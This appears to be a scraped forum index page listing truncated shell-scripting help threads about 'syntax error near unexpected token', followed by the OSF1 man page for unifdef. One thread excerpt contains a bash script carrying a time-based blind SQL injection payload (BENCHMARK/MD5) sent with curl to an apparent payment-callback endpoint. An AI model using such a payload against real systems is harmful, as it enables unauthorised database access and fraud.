You need spaces on either side of the [ and ], you can't let them touch other characters. You can't put 'then' on the same line without a ; inbetween. You need a then for elif, too.
I'm getting the following error:
line 21: syntax error near unexpected token `done`
line 21: `done`
and I haven't been able to figure out why.
Here is my code
#!/bin/sh
if ; then
echo 'Usage: rename getexp/replStr '
exit 0
fi
arg = $1
shift
while ; do (5 Replies)
Guys ,
This is an output of my script errored out for "Syntax error near unexpected token `(' " Can someone tell me whats wrong with my script.
Below is my original script pasted.
#!/bin/bash
Script Creation Date 01/21/2010
Author baraghun
... (7 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
I tried to execute the code but I got this error
./Array.c: line 9: syntax error near unexpected token '('
./Array.c: line 9: ' nvals = get_data(a,MAXARRAY);'
and
#include<stdio.h>
#define MAXARRAY 1000
main()
{
int a,
nvals;
nvals =... (7 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
I have 2 files like a.txt and b.txt and the content is as below
cat a.txt
810750125 117780 /BSCSQAT4A/bscsqat4a/lib/jar/wclt_common.jar
1803152428 13300 /BSCSQAT4A/bscsqat4a/lib/jar/WFMSSupportTool.jar
2663502779 67049 /BSCSQAT4A/bscsqat4a/lib/jar/wma.jar
687942896 665272... (1 Reply)
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
detect_mouse_mvt.sh
/home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `('
/home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')'
#!/bin/bash
#
#
fh = file('/dev/input/mice')
while True:
fh.read(3)
print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
LEARN ABOUT OSF1
unifdef
unifdef(1) General Commands Manual unifdef(1)NAME
unifdef - Removes #ifdefed lines
SYNOPSIS
unifdef [-tlc] [-Dsymbol] [-idsymbol] [-iusymbol] [file] [-Usymbol]
The unifdef command partially simulates the behavior of the C preprocessor in processing #ifdef conditionals.
OPTIONS
Complements the action of unifdef; retains lines that would normally be removed and removes lines that would normally be retained. Speci-
fies symbol as a defined #ifdef symbol. Specifies defined lines inside certain #ifdefs to be ignored but copied out. Specifies undefined
lines inside certain #ifdefs to be ignored and not copied out. Replaces removed lines with blank lines instead of deleting them. Pro-
cesses plain text (rather than C code) input. The unifdef command does not try to recognize comments, single quotes, and double quotes.
Specifies symbol as an undefined #ifdef symbol.
DESCRIPTION
The unifdef command recognizes nested #ifdefs, comments, single and double quotes of C syntax so that it can function correctly, but does
not include files or interpret macros. The unifdef command recognizes, but does not remove comments.
The unifdef command takes its input from stdin if no file argument is given, and copies its output to stdout.
You specify the symbols you want defined with -Dsymbol or undefined with -Usymbol and the lines inside those #ifdefs are copied to the out-
put or removed, as appropriate. The #ifdef, #ifndef, #else, #elif, and endif lines associated with symbol are also removed. The #ifdefs
involving unspecified symbols are untouched and copied out along with their associated #ifdef, #else, elif, and #endif lines. If the same
symbol appears in more than one argument, only the first occurrence is significant. For instance, if an #ifdef X occurs nested inside
another #ifdef X, the inside #ifdef is considered an unrecognized symbol.
If you use #ifdefs to delimit non-C lines, such as comments or unfinished code, it is necessary to specify which symbols are to be used for
that purpose. Otherwise, the unifdef command tries to parse for quotes and comments in those #ifdef lines.
Keywords
The following keywords can be used with the unifdef command:
ifdef ifndef else endif elif
The unifdef command uses the elif keyword as follows. (Note that "Understood" means unifdef knows how to convert elif to if.) Understood
Not understood Not understood
For example:
# ifdef X x # elif defined (Y) y # elif defined (A) || defined (B) a # else default # endif
The following list shows the results of using the elif keyword with variables:
-DX x
-UX # if defined (Y) y # elif defined (A) || defined (B) a # else default # endif -UX -DY y
-UY -UX # if defined (Y) y # elif defined (A) || defined (B) a # else default # endif
-UY -UX -DA # if defined (Y) y # elif defined (A) || defined (B) a # else default # endif
NOTES
The unifdef command cannot process cpp constructs such as:
#if defined(X) || defined(Y)
DIAGNOSTICS
The unifdef command can fail for several reasons: a premature end of file, or an inappropriate else, elif, or endif.
EXIT STATUS
Exit status is 0 if output is an exact copy of input, 1 if not, 2 if the unifdef command fails.
EXAMPLES
The following command line causes the unifdef command to read the file original.c and remove the #ifdef A lines. It then removes every-
thing following an #elif/#else associated with the #ifdef A down to the #endif: unifdef -DA original.c > modified.c The following command
line causes the unifdef command to read the file original.c, and remove the #ifdef A down to either its associated #elif/#else, or its
associated #endif: unifdef -UA original.c > modified.c
In the case of the #elif, the #elif is replaced with #if. In the case of #else, the #else is deleted along with its associated
#endif.
SEE ALSO
Commands: diff(1)unifdef(1)